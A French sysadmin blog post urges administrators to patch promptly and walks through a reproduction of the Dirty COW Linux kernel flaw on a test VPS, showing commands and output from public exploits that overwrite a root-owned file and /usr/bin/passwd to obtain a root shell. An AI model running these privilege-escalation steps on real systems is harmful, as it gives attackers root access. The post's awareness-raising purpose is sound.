(modifié le 28 octobre 2016 à 1:15)

J'ai lu beaucoup d'anneries sur ce sujet, et je suis assez inquiet.

Inquiet car ces dernières années les failles sont légion sur la toile, les zeroday fanfaronnent pendant quelques heures ou quelques jours avant d'être patchées. Il y a tellement de failles critiques publiées que certains admins ont complètement laché l'affaire, en se disant que ça n'arrive qu'aux autres.

C'est à peu près le même principe que la ceinture de sécurité, tu peux techniquement conduire sans mais en cas d'accident c'est souvent fatal. A chaque faille le même discours se propage : elle est difficilement exploitable, les risques sont limités, je ne suis pas concerné... et moi je suis consterné. Je veux dire qu'à partir du moment où tu gardes ta distribution à jour, tu ne peux pas tenir ce discours, car ça ne te coûte rien de patcher.

Toutes les mauvaises raisons

Ceux qui tiennent ce discours maintiennent des serveurs dans des conditions de disponibilité de service maximale. Ils ont peur que le reboot mette tout en vrac, et vu l'uptime on ne préfère rien faire. Cette approche n'est pas dénuée de sens car si personne ne reboot la machine il se peut très bien qu'au reboot plusieurs patchs soit appliqués ! Parce qu'un autre sysAdmin n'a pas pris le risque de redémarrer une précédente fois. Dans ce cas c'est un peu la loterie, mais vous ne pouvez vous en prendre qu'à vous même (ou à vos collègues).

Il y a ceux qui se sont "amusés" à compiler noyau ou binaires et pour qui la mise à jour ne changera rien... il faut recompiler avec tous les risques qui vont avec. Mieux vaut avoir un journal de bord comme base d'historique pour recompiler avec les mêmes options et dans les mêmes conditions.

Il y a ceux qui utilisent une application métier un peu exotique qui demande des versions particulières en termes d'OS et de paquets pour fonctionner. Ceux là doivent se retourner vers le support car entre l'achat de l'application et aujourd'hui probablement que les choses ont évoluées. Oui il faut payer le support... si vous n'avez pas de budget pour alors il fallait mieux penser le projet au départ.

(coucou fsck au démarrage qui fait une belle frayeur)

Dirty Cow (copy on write)

Dirty Cow est référencée sous le CVE-2016-5195. Cette vulnérabilité siège dans le noyau Linux, le kernel, depuis 9 ans. Elle permet à un simple utilisateur système de devenir superutilisateur : le root.

https://twitter.com/xhark/status/791055133589331968

Il existe plusieurs façons pour l'exploiter : liste des PoCs. Qui dit kernel Linux dit aussi smartphone sous Android, container docker, serveur mutualisé... et j'en passe. Sans parler du kernel qui peut se vautrer complètement si l'on ne passe pas ce fix.

PoC

J'ai testé avec succès l'attaque sur un VPS Ubuntu et l'exploit a parfaitement fonctionné, j'ai pu écrire dans un fichier appartenant à root en lecture seule.

Création d'un utilisateur cow :

# useradd -m cow && passwd cow

Création d'un fichier "foomotion" sans droit d'écriture (chmod 0404) :

# echo "contenu de test via root" > /home/cow/foomotion
# chmod 0404 /home/cow/foomotion

Vérifions que le "sudo su" est impossible pour notre utilisateur "cow" :

cow@xubm:~$ sudo su
[sudo] Mot de passe de cow :
cow n'apparaît pas dans le fichier sudoers. Cet événement sera signalé.

On passe en utilisateur cow : su - cow

Voici l'état du fichier, on essaie d'écrire dedans :

cow@xubm:~$ ls -lah foomotion
-r-----r-- 1 root root 11 oct. 26 23:49 foomotion
cow@xubm:~$ echo zzz >> foomotion
-su: foomotion: Permission non accordée


Et puis on lance l'exploit :

cow@xubm:~$ ./dirtyc0w foomotion JeSuisCOW
mmap 7f00b81bd000
procselfmem 900000000
madvise 0
cow@xubm:~$

Résultat : on écrase le début du fichier avec la nouvelle chaîne, pourtant le fichier appartient toujours à root:root en chmod 0404 :

cow@xubm:~$ more foomotion && ls -lah foomotion
JeSuisCOWe test via root
-r-----r-- 1 root root 25 oct. 27 00:14 foomotion

Allez un deuxième exploit pour la route, avec celui-ci on passe directement root :

cow@xubm:~$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 54256
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@xubm:/home/cow# id
uid=0(root) gid=1001(cow) groups=1001(cow)

Conclusion

Cette faille n'est pas aussi violente que heartbleed mais il ne faut pas l'ignorer pour autant. Il faut savoir être très réactif quand une faille apparaît sur la toile, et ne pas hésiter à couper les services impactés le temps qu'un correctif voit le jour. Car rien n'empêche un attaquant d'ouvrir discrètement une porte, jusqu'au jour où il mettra votre infra à genoux sans que vous ne compreniez d'où ça vient... et bonne chance pour enquêter quand on sait que la plupart des exploits laissent peu voir pas de trace.

Attention à bien parquer les utilisateurs sur un serveur partagé (chroot, SELinux, CageFS...) et de limiter les commandes à disposition (gcc par exemple, même si rien n'empêche l'utilisateur d'envoyer un binaire déjà compilé).

Bon courage !

J'oubliais : désactiver la vérification fsck au boot, au moins sur vos VM, pour éviter de patienter des plombes devant un écran de vérification du système de fichier. Ces vérifications arrivent toujours au mauvais moment, sur des partitions gigantesques...